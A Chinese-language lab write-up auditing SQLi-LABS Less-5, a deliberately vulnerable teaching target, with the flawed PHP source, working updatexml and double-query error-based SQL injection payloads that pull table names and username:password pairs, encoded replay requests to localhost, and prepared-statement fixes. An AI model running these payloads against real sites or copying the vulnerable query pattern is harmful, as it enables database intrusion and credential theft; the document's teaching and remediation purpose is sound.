Less-5 代码审计报告:GET 报错型双注入(无数据回显)

本报告基于 SQLi-LABS 教学靶场源码(授权范围内安全学习/代码审计)编写,所有代码定位均与 Less-5/index.php 实际文件一致。

1. 关卡概述

2. 漏洞代码定位

文件: Less-5/index.php

// 第 18-20 行:直接取 GET 参数,未过滤
if(isset($_GET['id']))
{
$id=$_GET['id'];

// 第 29 行:单引号字符串拼接
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);

// 第 33-39 行:查询成功时只显示固定文案,不显示数据
if($row)
{
  echo '<font size="5" color="#FFFF00">';
  echo 'You are in...........';
  echo "<br>";
  echo "</font>";
}
// 第 40-48 行:失败时回显 mysql_error()
else 
{
echo '<font size="3" color="#FFFF00">';
print_r(mysql_error());
echo "</br></font>";

关键漏洞点:

• 第 20 行:$id=$_GET['id']; 未过滤。
• 第 29 行:WHERE id='$id' 单引号拼接。
• 第 44 行:print_r(mysql_error()); 回显错误信息(本关数据来源就是报错回显)。

3. 漏洞分析

• 输入来源:$_GET['id'],未过滤。
• SQL 拼接位置:WHERE id='$id' LIMIT 0,1。
• 闭合方式:单引号 '。
• 是否回显:页面不回显查询结果数据(第 36 行固定输出 "You are in……….."),因此联合查询 UNION 无回显位可用。但第 44 行会回显 mysql_error() 原始报错,故采用报错注入从错误信息中带出数据。
• 报错注入原理:利用 updatexml() / extractvalue() 等函数对 XPath 参数做二次解析,把子查询结果拼进报错消息;或利用 COUNT(*) + FLOOR(RAND(0)*2) + GROUP BY 触发主键重复错误(双查询)带出数据。

4. 利用方式

步骤一:判断注入点

?id=1'   → 回显 mysql_error():"...'' LIMIT 0,1",确认单引号闭合

步骤二:确认不回显数据

?id=1    → 只显示 "You are in...........",无 username/password

→ 确定需改用报错注入。

步骤三:报错注入提取数据(核心 Payload)

-- 方式一:UpdateXML 报错注入(推荐)
1' AND updatexml(1,concat(0x7e,(select database())),1)-- -
1' AND updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)-- -
1' AND updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from security.users)),1)-- -

-- 方式二:双查询报错注入
1' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT database()),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -

预期结果:页面报错消息形如
XPATH syntax error: '~security',即 ~ 后紧跟所查询的数据(如库名 security)。

步骤四:进阶

• 爆库名/表名/字段名/数据逐级替换 select database() 为对应子查询,配合 limit 0,1 或 group_concat 逐条读取。
• 若 updatexml 返回值长度受限(约 32 字符),可用 substring(...,1,32) 分段读取。

5. Yakit 重放数据包

GET /sqli-labs/Less-5/?id=1%27%20AND%20updatexml(1,concat(0x7e,(select%20database())),1)--%20- HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Connection: close

说明:%27='、%20=空格、(select%20database()) 中空格已编码、--%20-=-- -(Yakit 中注意 -- - 编码为 --%20-)。

双查询报文(备选):

GET /sqli-labs/Less-5/?id=1%27%20AND%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20database()),FLOOR(RAND(0)*2))x%20FROM%20information_schema.tables%20GROUP%20BY%20x)a)--%20- HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0
Accept: */*
Connection: close

6. 修复建议

修复一(首选):PDO 预处理语句

<?php
$pdo = new PDO('mysql:host=localhost;dbname=security;charset=utf8mb4', $dbuser, $dbpass, [
    PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
]);
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id LIMIT 0,1");
$stmt->bindValue(':id', $id, PDO::PARAM_INT);
$stmt->execute();
$row = $stmt->fetch();

修复二:mysqli 预处理语句

<?php
$stmt = $mysqli->prepare("SELECT * FROM users WHERE id = ? LIMIT 0,1");
$stmt->bind_param('i', $id);
$stmt->execute();
$result = $stmt->get_result();
$row = $result->fetch_assoc();

修复三:输入校验 + 最小权限

• 强制整型校验:if (!ctype_digit($_GET['id'])) { die('Invalid ID'); }。
• 关闭报错回显:删除 print_r(mysql_error()),生产环境将错误写入日志文件,页面统一 500。
• 数据库账号最小权限;升级 PHP 7+ / 8+,移除 mysql_* 扩展。

附:验证与复现说明

• 该环境为 SQLi-LABS 教学靶场(故意留洞),本报告仅用于授权范围内的安全学习与防御研究。
• 复现前需:导入 sql-lab.sql、配置 sql-connections/db-creds.inc、使用支持 mysql_* 的 PHP 5.x 环境。